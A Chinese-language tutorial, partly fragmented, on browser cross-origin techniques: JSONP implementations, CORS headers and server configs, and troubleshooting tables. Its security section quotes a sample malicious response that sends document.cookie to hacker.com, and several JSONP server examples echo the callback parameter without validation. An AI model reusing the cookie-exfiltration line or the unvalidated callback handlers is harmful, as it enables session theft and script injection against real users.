同源策略是浏览器实施的安全机制,限制不同源的客户端脚本交互。源的定义包括:
常见的跨域场景包括:
浏览器同源策略对、
、等标签的资源加载不做限制,这是JSONP得以实现的根本基础。当浏览器解析到
标签时:
JSONP通过程序化方式实现动态资源加载:
function loadScript(url) {
const script = document.createElement('script');
script.src = url;
script.async = true;
document.body.appendChild(script);
}
这种动态加载方式的特点:
典型JSONP交互流程:
[浏览器] [服务器]
生成callback函数名 →
← 返回JS代码执行callback(data)
虽然JSONP可以跨域,但仍受以下限制:
完整封装示例:
function jsonp(url, params, callback) {
// 生成唯一回调函数名
const callbackName = `jsonp_${Date.now()}_${Math.random().toString(36).substr(2)}`;
// 创建script元素
const script = document.createElement('script');
script.async = true;
// 参数处理
const queryParams = new URLSearchParams({
...params,
callback: callbackName
});
// 注册全局回调
window[callbackName] = (response) => {
delete window[callbackName];
document.body.removeChild(script);
callback(null, response);
};
// 错误处理
script.onerror = (err) => {
delete window[callbackName];
document.body.removeChild(script);
callback(new Error('JSONP request failed'));
};
// 设置超时
const timeoutId = setTimeout(() => {
script.onerror();
callback(new Error('Request timeout'));
}, 5000);
script.onload = () => clearTimeout(timeoutId);
// 发起请求
script.src = `${url}?${queryParams}`;
document.body.appendChild(script);
}
// 使用示例
jsonp(
'https://api.example.com/data',
{ page: 1, size: 20 },
(err, data) => {
if (err) return console.error(err);
console.log('Received:', data);
}
);
const http = require('http');
const url = require('url');
const server = http.createServer((req, res) => {
const parsedUrl = url.parse(req.url, true);
const callback = parsedUrl.query.callback;
if (!callback) {
res.writeHead(400);
return res.end('Missing callback parameter');
}
const data = {
timestamp: Date.now(),
items: [
{ id: 1, name: 'Item A' },
{ id: 2, name: 'Item B' }
]
};
res.writeHead(200, {
'Content-Type': 'application/javascript',
'X-Content-Type-Options': 'nosniff'
});
res.end(`${callback}(${JSON.stringify(data)})`);
});
server.listen(3000, () => {
console.log('JSONP server running on port 3000');
});
from flask import Flask, request, jsonify
app = Flask(__name__)
@app.route('/api/data')
def jsonp_endpoint():
callback = request.args.get('callback')
if not callback:
return 'Callback parameter required', 400
data = {
'status': 'success',
'results': [1, 2, 3]
}
response = f"{callback}({jsonify(data).data.decode()})"
return app.response_class(
response,
mimetype='application/javascript'
)
if __name__ == '__main__':
app.run(port=5000)
header('Content-Type: application/javascript');
$callback = $_GET['callback'] ?? '';
if (empty($callback)) {
http_response_code(400);
exit('Callback parameter required');
}
$data = [
'user' => 'John Doe',
'email' => 'john@example.com'
];
echo $callback . '(' . json_encode($data) . ')';
?>
由于浏览器会缓存脚本资源,需要合理处理缓存:
// 添加随机参数防止缓存
script.src = `${url}?${queryParams}&_=${Date.now()}`;
实现请求队列管理:
class JSONPManager {
constructor(maxConcurrent = 3) {
this.queue = [];
this.activeCount = 0;
this.maxConcurrent = maxConcurrent;
}
addRequest(url, params, callback) {
return new Promise((resolve, reject) => {
this.queue.push({ url, params, callback, resolve, reject });
this._processQueue();
});
}
_processQueue() {
while (this.activeCount < this.maxConcurrent && this.queue.length) {
const task = this.queue.shift();
this.activeCount++;
jsonp(task.url, task.params, (err, data) => {
this.activeCount--;
if (err) task.reject(err);
else task.resolve(data);
this._processQueue();
});
}
}
}
通过base64编码传输二进制数据:
// 服务端
const imageBuffer = fs.readFileSync('image.jpg');
const base64Data = imageBuffer.toString('base64');
res.end(`${callback}({ data: '${base64Data}', mimeType: 'image/jpeg' })`);
// 客户端
const img = new Image();
img.src = `data:${response.mimeType};base64,${response.data}`;
典型攻击示例:
// 恶意服务器返回的响应
callback({
sensitiveData: 'user_credentials',
execute: function() {
// 窃取cookie
new Image().src = 'http://hacker.com/steal?data='+document.cookie;
}
});
// 如果客户端直接执行返回对象的方法
response.execute(); // 触发攻击
// 校验回调函数名合法性
const isValidCallback = /^[\w$]+$/.test(callbackName);
if (!isValidCallback) {
throw new Error('Invalid callback name');
}
Content-Security-Policy: script-src 'self' trusted.cdn.com;
X-Content-Type-Options: nosniff
Content-Type: application/javascript; charset=utf-8
// 服务端生成
const token = crypto.randomBytes(16).toString('hex');
res.end(`${callback}({ token: '${token}', data: ... })`);
// 客户端验证
if (response.token !== expectedToken) {
throw new Error('Invalid token');
}
function initBMap() {
const callbackName = 'bmapCallback';
window[callbackName] = function() {
const map = new BMap.Map("container");
// 初始化地图...
};
const script = document.createElement('script');
script.src = `https://api.map.baidu.com/api?v=3.0&ak=YOUR_AK&callback=${callbackName}`;
document.head.appendChild(script);
}
weiboShare({
url: 'https://example.com',
callback: 'weiboShareCallback'
});
window.weiboShareCallback = function(res) {
if (res.status === 'success') {
alert('分享成功!');
} else {
alert('分享失败:' + res.msg);
}
};
类型请求
元素插入错误现象 | 可能原因 | 解决方案 |
---|---|---|
回调函数未执行 | 1. 回调参数名称不匹配 | 检查服务端返回的函数名 |
2. 响应非合法JS代码 | 验证响应MIME类型和内容 | |
跨协议加载失败 | HTTP页面加载HTTPS资源 | 统一协议方案 |
返回数据截断 | URL超过长度限制 | 精简参数,使用POST替代方案 |
随机回调名称冲突 | 并发请求管理不当 | 实现请求队列机制 |
特性 | JSONP | CORS |
---|---|---|
通信方向 | 只能客户端发起 | 支持双向通信 |
数据格式 | 仅支持JS格式 | 支持任意MIME类型 |
错误处理 | 依赖超时机制 | 标准HTTP状态码 |
安全性 | 依赖开发者实现 | 浏览器强制安全策略 |
性能开销 | 每个请求新建script标签 | 复用TCP连接 |
// WebSocket示例
const socket = new WebSocket('wss://api.example.com');
socket.onmessage = (event) => {
console.log('Data:', JSON.parse(event.data));
};
优势比较:
虽然CORS已成为主流,但JSONP仍在以下场景发挥作用:
function fetchData() {
if (window.fetch && window.Headers) {
// 使用CORS
fetch('https://api.example.com/data', {
headers: new Headers({
'Authorization': 'Bearer token'
})
})
.then(response => response.json());
} else {
// 降级到JSONP
jsonp('https://api.example.com/data', callback);
}
}
CORS规范的三个关键版本:
Cross-Origin-Opener-Policy
等新特性Partitioned Cookies
等现代安全特性Origin
:声明请求源Access-Control-Request-Method
:预检请求方法Access-Control-Request-Headers
:预检请求头Authorization
:凭证令牌头部字段 | 值示例 | 作用说明 |
---|---|---|
Access-Control-Allow-Origin | https://client.com 或 * | 允许的源白名单 |
Access-Control-Allow-Methods | GET,POST,PUT,DELETE | 允许的HTTP方法集合 |
Access-Control-Allow-Headers | Content-Type,X-Request-ID | 允许的自定义请求头列表 |
Access-Control-Expose-Headers | X-Total-Count | 暴露给客户端的响应头 |
Access-Control-Max-Age | 86400 | 预检响应缓存时间(秒) |
Access-Control-Allow-Credentials | true | 是否允许携带凭证 |
Access-Control-Request-Private-Network | true | 私有网络访问控制 |
请求类型 | 触发条件 | 处理流程 |
---|---|---|
简单请求 | GET/HEAD/POST + 简单头 | 直接发送实际请求 |
预检请求 | 非简单方法或包含自定义头 | OPTIONS预检 → 实际请求 |
凭证请求 | 携带Cookie或Authorization头 | 必须设置Allow-Credentials |
重定向请求 | 响应返回3xx状态码 | 浏览器自动处理重定向验证 |
const http = require('http');
const corsMiddleware = (req, res, next) => {
// 基础CORS头
res.setHeader('Access-Control-Allow-Origin', 'https://client.com');
res.setHeader('Access-Control-Allow-Methods', 'GET, POST, OPTIONS');
res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
// 预检请求快速响应
if (req.method === 'OPTIONS') {
res.setHeader('Access-Control-Max-Age', '86400');
res.setHeader('Vary', 'Origin');
return res.end();
}
// 实际请求处理
next();
};
const server = http.createServer((req, res) => {
corsMiddleware(req, res, () => {
if (req.url === '/api/data') {
res.end(JSON.stringify({ data: 'secure' }));
}
});
});
server.listen(3000);
server {
listen 80;
server_name api.example.com;
location / {
if ($request_method = 'OPTIONS') {
add_header 'Access-Control-Allow-Origin' 'https://client.com';
add_header 'Access-Control-Allow-Methods' 'GET, POST, OPTIONS';
add_header 'Access-Control-Allow-Headers' 'DNT,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Range,Authorization';
add_header 'Access-Control-Max-Age' 86400;
add_header 'Content-Type' 'text/plain; charset=utf-8';
add_header 'Content-Length' 0;
return 204;
}
add_header 'Access-Control-Allow-Origin' 'https://client.com';
add_header 'Access-Control-Expose-Headers' 'Content-Length,Content-Range';
proxy_pass http://backend_server;
}
}
@Configuration
public class WebConfig implements WebMvcConfigurer {
@Override
public void addCorsMappings(CorsRegistry registry) {
registry.addMapping("/api/**")
.allowedOrigins("https://client.com")
.allowedMethods("GET", "POST", "PUT")
.allowedHeaders("Authorization", "Content-Type")
.exposedHeaders("X-Total-Count")
.allowCredentials(true)
.maxAge(3600);
}
}
const allowedOrigins = new Set([
'https://client.com',
'https://staging.client.com'
]);
function setCorsHeaders(req, res) {
const origin = req.headers.origin;
if (allowedOrigins.has(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Vary', 'Origin');
}
}
Access-Control-Allow-Private-Network: true
应用场景:本地开发访问内网服务
Cross-Origin-Opener-Policy: same-origin
Cross-Origin-Embedder-Policy: require-corp
配合启用:
// 前端页面需要设置
<meta http-equiv="Cross-Origin-Opener-Policy" content="same-origin">
CORS_VIOLATION: {
"timestamp": "2024-03-20T14:23:18Z",
"origin": "https://malicious.com",
"path": "/api/users",
"method": "POST"
}
# CORS策略生成工具
$ cors-policy-generator --origins "*.example.com" --methods GET,POST --max-age 3600 > cors-policy.json
is:cors
快速定位跨域请求Blocked by CORS policy
:缺少必要响应头Credentials not supported
:未设置credentials: 'include'
Cross-Origin Isolation
状态错误代码 | 原因分析 | 解决方案 |
---|---|---|
CORS Missing Allow Origin | 响应头未包含请求源 | 检查服务器CORS配置 |
CORS Preflight Did Not Succeed | 预检请求失败 | 确认OPTIONS路由配置 |
Credential is not supported | 使用凭证但配置了通配符(*) | 指定具体域名代替通配符 |
Invalid CORS request | 非法Origin格式 | 验证Origin头合法性 |
Access-Control-Max-Age: 86400
浏览器实现差异:
HTTP/2 Server Push预加载CORS策略:
Link: ; rel=preload; as=cors
Cloudflare Workers实现示例:
addEventListener('fetch', event => {
event.respondWith(handleRequest(event.request))
})
async function handleRequest(request) {
const response = await fetch(request)
response.headers.set('Access-Control-Allow-Origin', 'https://client.com')
return response
}
// 请求共享存储访问权限
navigator.storage.requestPersistentAccess().then(granted => {
if (granted) {
// 执行跨域存储操作
}
})
Set-Cookie: sessionId=xxxx; Partitioned; SameSite=None; Secure
配合头部:
Access-Control-Allow-Origin: https://client.com
Access-Control-Allow-Credentials: true
const transport = new WebTransport('https://server.example.com');
const stream = await transport.createBidirectionalStream();
// 跨域双向通信
const socket = new WebSocket('wss://api.example.com');
socket.onopen = () => {
socket.send(JSON.stringify({ action: 'subscribe' }));
};
服务端验证:
Sec-WebSocket-Protocol: chat
// Apollo Server配置
const server = new ApolloServer({
cors: {
origin: ['https://client.com'],
credentials: true
}
});
// 客户端配置
const client = new EchoServiceClient('https://api.example.com', {
unaryInterceptors: [{
intercept(request, invoker) {
request.headers['X-Custom-Header'] = 'value';
return invoker(request);
}
}]
});
特性 | JSONP | CORS |
---|---|---|
请求方法 | 仅GET | 所有HTTP方法 |
安全性 | 较低 | 高 |
错误处理 | 困难 | 标准HTTP状态码 |
浏览器支持 | 所有浏览器 | IE10+ |
服务端改造 | 需要特殊格式支持 | 需设置响应头 |
使用建议:
const corsOptions = {
origin: ['https://client.com', 'https://dev.client.com'],
methods: 'GET,POST,PUT',
allowedHeaders: ['Content-Type', 'Authorization'],
credentials: true,
maxAge: 86400
};
app.use(cors(corsOptions));
// 自定义预检请求处理
app.options('/special-endpoint', cors(corsOptions));
Access-Control-Allow-Origin
白名单Access-Control-Max-Age
缓存时间